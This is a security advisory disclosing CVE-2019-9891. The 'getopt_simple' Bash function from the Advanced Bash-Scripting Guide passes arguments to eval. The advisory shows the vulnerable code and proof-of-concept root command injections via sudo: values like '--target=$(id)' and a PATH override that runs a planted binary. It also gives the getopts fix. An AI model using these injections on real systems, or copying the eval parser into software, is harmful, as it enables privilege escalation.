RT-SA-2019-007 Code Execution via Insecure Shell Functiongetopt_simple

Advisory: Code Execution via Insecure Shell Function getopt_simple

RedTeam Pentesting discovered that the shell function "getopt_simple",
as presented in the "Advanced Bash-Scripting Guide", allows execution of
attacker-controlled commands.

Details
=======

Product: Advanced Bash-Scripting Guide
Affected Versions: all
Fixed Versions: -
Vulnerability Type: Code Execution
Security Risk: medium
Vendor URL: https://www.tldp.org/LDP/abs/html/
Vendor Status: notified
Advisory URL: https://www.redteam-pentesting.de/advisories/rt-sa-2019-007
Advisory Status: private
CVE: CVE-2019-9891
CVE URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-9891

Introduction
============

The document "Advanced Bash-Scripting Guide" [1] is a tutorial for
writing shell scripts for Bash. It contains many example scripts
together with in-depth explanations about how shell scripting works.

More Details
============

During a penetration test, RedTeam Pentesting was able to execute
commands as an unprivileged user (www-data) on a server. Among others,
it was discovered that this user was permitted to run the shell script
"cleanup.sh" as root via "sudo":

------------------------------------------------------------------------
$ sudo -l
Matching Defaults entries for user on srv:
    env_reset, secure_path=/usr/sbin\:/usr/bin\:/sbin\:/bin

User www-data may run the following commands on srv:
    (root) NOPASSWD: /usr/local/sbin/cleanup.sh
------------------------------------------------------------------------

The script "cleanup.sh" starts with the following code:

------------------------------------------------------------------------
#!/bin/bash

getopt_simple()
{
    until [ -z "$1" ]
    do
      if [ ${1:0:2} = '--' ]
      then
          tmp=${1:2}               # Strip off leading '--' . . .
          parameter=${tmp%%=*}     # Extract name.
          value=${tmp##*=}         # Extract value.
          eval $parameter=$value
      fi
      shift
    done
}

target=/tmp

# Pass all options to getopt_simple().
getopt_simple $*

# list files to clean
echo "listing files in $target"
find "$target" -mtime 1
------------------------------------------------------------------------

The function "getopt_simple" is used to set variables based on
command-line flags which are passed to the script. Calling the script
with the argument "--target=/tmp" sets the variable "$target" to the
value "/tmp". The variable's value is then used in a call to "find". The
source code of the "getopt_simple" function has been taken from the
"Advanced Bash-Scripting Guide" [2]. It was also published as a book.
RedTeam Pentesting identified two different ways to exploit this
function in order to run attacker-controlled commands as root.

First, a flag can be specified in which either the name or the value
contain a shell command. The call to "eval" will simply execute this
command.

------------------------------------------------------------------------
$ sudo /usr/local/sbin/cleanup.sh '--redteam=foo;id'
uid=0(root) gid=0(root) groups=0(root)
listing files in /tmp

$ sudo /usr/local/sbin/cleanup.sh '--target=$(id)'
listing files in uid=0(root) gid=0(root) groups=0(root)
find: 'uid=0(root) gid=0(root) groups=0(root)': No such file or directory

$ sudo /usr/local/sbin/cleanup.sh '--target=$(ls${IFS}/)'
listing files in bin
boot
dev
etc
[...]
------------------------------------------------------------------------

Instead of injecting shell commands, the script can also be exploited by
overwriting the "$PATH" variable:

------------------------------------------------------------------------
$ mkdir /tmp/redteam

$ cat <<EOF > /tmp/redteam/find
#!/bin/sh
echo "executed as root:"
/usr/bin/id
EOF

$ chmod +x /tmp/redteam/find

$ sudo /usr/local/sbin/cleanup.sh --PATH=/tmp/redteam
listing files in /tmp
executed as root:
uid=0(root) gid=0(root) groups=0(root)
------------------------------------------------------------------------

Workaround
==========

No workaround available.

Fix
===

Replace the function "getopt_simple" with the built-in function
"getopts" or the program "getopt" from the util-linux package.
Examples on how to do so are included in the same tutorial [3][4].

Security Risk
=============

If a script with attacker-controlled arguments uses the "getopt_simple"
function, arbitrary commands may be invoked by the attackers. This is
particularly interesting if a privilege boundary is crossed, for example
in the context of "sudo". Overall, this vulnerability is rated as a
medium risk.

Timeline
========

2019-02-18 Vulnerability identified
2019-03-20 Customer approved disclosure to vendor
2019-03-20 Author notified
2019-03-20 Author responded, document is not updated/maintained any more
2019-03-20 CVE ID requested
2019-03-21 CVE ID assigned
2019-03-26 Advisory released

References
==========

[1] https://www.tldp.org/LDP/abs/html/
[2] https://www.tldp.org/LDP/abs/html/string-manipulation.html#GETOPTSIMPLE
[3] https://www.tldp.org/LDP/abs/html/internal.html#EX33
[4] https://www.tldp.org/LDP/abs/html/extmisc.html#EX33A

RedTeam Pentesting GmbH
=======================

RedTeam Pentesting offers individual penetration tests performed by a
team of specialised IT-security experts. Hereby, security weaknesses in
company networks or products are uncovered and can be fixed immediately.

As there are only few experts in this field, RedTeam Pentesting wants to
share its knowledge and enhance the public knowledge with research in
security-related areas. The results are made available as public
security advisories.

More information about RedTeam Pentesting can be found at:
https://www.redteam-pentesting.de/